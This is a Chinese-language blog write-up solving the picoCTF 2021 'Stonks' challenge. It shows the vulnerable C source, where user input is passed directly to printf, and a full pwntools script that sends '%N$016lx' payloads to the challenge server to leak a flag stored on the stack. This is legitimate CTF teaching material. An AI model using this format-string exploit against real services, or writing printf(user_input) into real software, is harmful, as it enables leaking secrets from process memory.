[Pico CTF 2021]pwn-Stonks

selph
selph
发布于 2023-11-02 / 157 阅读
0
0

[Pico CTF 2021]pwn-Stonks

image

题目分析

pwn题目的一种形式是,直接给源码,本题就是:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <time.h>

#define FLAG_BUFFER 128
#define MAX_SYM_LEN 4

typedef struct Stonks {
	int shares;
	char symbol[MAX_SYM_LEN + 1];
	struct Stonks *next;
} Stonk;

typedef struct Portfolios {
	int money;
	Stonk *head;
} Portfolio;

int view_portfolio(Portfolio *p) {
	if (!p) {
		return 1;
	}
	printf("\nPortfolio as of ");
	fflush(stdout);
	system("date"); // TODO: implement this in C
	fflush(stdout);

	printf("\n\n");
	Stonk *head = p->head;
	if (!head) {
		printf("You don't own any stonks!\n");
	}
	while (head) {
		printf("%d shares of %s\n", head->shares, head->symbol);
		head = head->next;
	}
	return 0;
}

Stonk *pick_symbol_with_AI(int shares) {
	if (shares < 1) {
		return NULL;
	}
	Stonk *stonk = malloc(sizeof(Stonk));
	stonk->shares = shares;

	int AI_symbol_len = (rand() % MAX_SYM_LEN) + 1;
	for (int i = 0; i <= MAX_SYM_LEN; i++) {
		if (i < AI_symbol_len) {
			stonk->symbol[i] = 'A' + (rand() % 26);
		} else {
			stonk->symbol[i] = '\0';
		}
	}

	stonk->next = NULL;

	return stonk;
}

int buy_stonks(Portfolio *p) {
	if (!p) {
		return 1;
	}
	char api_buf[FLAG_BUFFER];		// 在栈中
	FILE *f = fopen("api","r");
	if (!f) {
		printf("Flag file not found. Contact an admin.\n");
		exit(1);
	}
	fgets(api_buf, FLAG_BUFFER, f);	// flag读取在了这里

	int money = p->money;
	int shares = 0;
	Stonk *temp = NULL;
	printf("Using patented AI algorithms to buy stonks\n");
	while (money > 0) {
		shares = (rand() % money) + 1;
		temp = pick_symbol_with_AI(shares);
		temp->next = p->head;
		p->head = temp;
		money -= shares;
	}
	printf("Stonks chosen\n");

	// TODO: Figure out how to read token from file, for now just ask

	char *user_buf = malloc(300 + 1);
	printf("What is your API token?\n");
	scanf("%300s", user_buf);
	printf("Buying stonks with token:\n");
	printf(user_buf);	// 格式化字符串漏洞,泄露栈数据

	// TODO: Actually use key to interact with API

	view_portfolio(p);

	return 0;
}

Portfolio *initialize_portfolio() {
	Portfolio *p = malloc(sizeof(Portfolio));
	p->money = (rand() % 2018) + 1;
	p->head = NULL;
	return p;
}

void free_portfolio(Portfolio *p) {
	Stonk *current = p->head;
	Stonk *next = NULL;
	while (current) {
		next = current->next;
		free(current);
		current = next;
	}
	free(p);
}

int main(int argc, char *argv[])
{
	setbuf(stdout, NULL);
	srand(time(NULL));
	Portfolio *p = initialize_portfolio();	// malloc
	if (!p) {
		printf("Memory failure\n");
		exit(1);
	}

	int resp = 0;

	printf("Welcome back to the trading app!\n\n");
	printf("What would you like to do?\n");
	printf("1) Buy some stonks!\n");
	printf("2) View my portfolio\n");
	scanf("%d", &resp);					// 输入选项

	if (resp == 1) {
		buy_stonks(p);
	} else if (resp == 2) {
		view_portfolio(p);
	}

	free_portfolio(p);
	printf("Goodbye!\n");

	exit(0);
}

一个小技巧:对于有源码的形式,可以直接编译一下去调试,编译的时候可能就提示出潜在的漏洞点了

➜  pwn-Stonks gcc vuln.c -o vuln
vuln.c: In function ‘buy_stonks’:
vuln.c:93:2: warning: format not a string literal and no format arguments [-Wformat-security]
   93 |  printf(user_buf); 
      |  ^~~~~~

很显然,是格式化字符串漏洞

在触发漏洞前的代码里:

	char api_buf[FLAG_BUFFER];		// 在栈中
	FILE *f = fopen("api","r");
	if (!f) {
		printf("Flag file not found. Contact an admin.\n");
		exit(1);
	}
	fgets(api_buf, FLAG_BUFFER, f);	// flag读取在了这里

flag被读取在了栈中,以栈中数据的形式保存的

漏洞利用

要通过格式化字符串漏洞获取栈中的数据,没法用%s​来获取,因为是64位程序,所以可以直接用%lx​来读取十六进制,然后自己转换成字符串

对于本题,可以不去算偏移,直接爆破即可:

#!/bin/python3
from pwn import *
warnings.filterwarnings(action='ignore',category=BytesWarning)
context.log_level = 'warn'
FILE_NAME = "a.out"
REMOTE_HOST = "mercury.picoctf.net"
REMOTE_PORT = 20195
# nc mercury.picoctf.net 20195

elf = context.binary = ELF(FILE_NAME)
#libc = elf.libc

gs = '''
continue
'''
def start():
    if args.REMOTE:
        return remote(REMOTE_HOST,REMOTE_PORT)
    if args.GDB:
        return gdb.debug(elf.path, gdbscript=gs)
    else:
        return process(elf.path)



def str_GetPrintableStr(s:str):
    return "".join(i for i in s if i.isprintable())

def str_ReverseByteSequence(s:str):
    return "".join(s[i-1:i+1] for i in range(len(s)-1,-1,-2))

def str_PrintAndSearchFlag(input_string:str,pattern =r"\{(.+?)\}"):
    matches = re.findall(pattern, input_string)
  
    for match in matches:
        highlighted = "\033[1;31m{"+f"{match}"+"}\033[0m"
        input_string = input_string.replace(f"{{{match}}}", highlighted)
    print(input_string)
    return input_string
# =============================================================================
# ============== exploit ===================
buf = ""
bufr = ""
count = 0
while count<50:
    count +=1
    try:
        io = start()

        sleep(0.2)
        io.sendlineafter(b"2) View my portfolio\n",b"1")
        sleep(0.2)
        io.sendlineafter(b"What is your API token?\n",f"%{count}$016lx".encode())
        io.recvuntil(b"Buying stonks with token:\n")
        s = io.recvline()[:-1].decode()
        buf += s
        bufr += str_ReverseByteSequence(s)
        #print(s)
        io.close()
    except:
        continue

buf_str = "".join(chr(int(buf[i-1:i+1],16)) for i in range(1,len(buf)+1,2))
str_PrintAndSearchFlag(str_GetPrintableStr(buf_str))
bufr_str = "".join(chr(int(bufr[i-1:i+1],16)) for i in range(1,len(bufr)+1,2))
str_PrintAndSearchFlag(str_GetPrintableStr(bufr_str))

# =============================================================================

io.interactive()

image


评论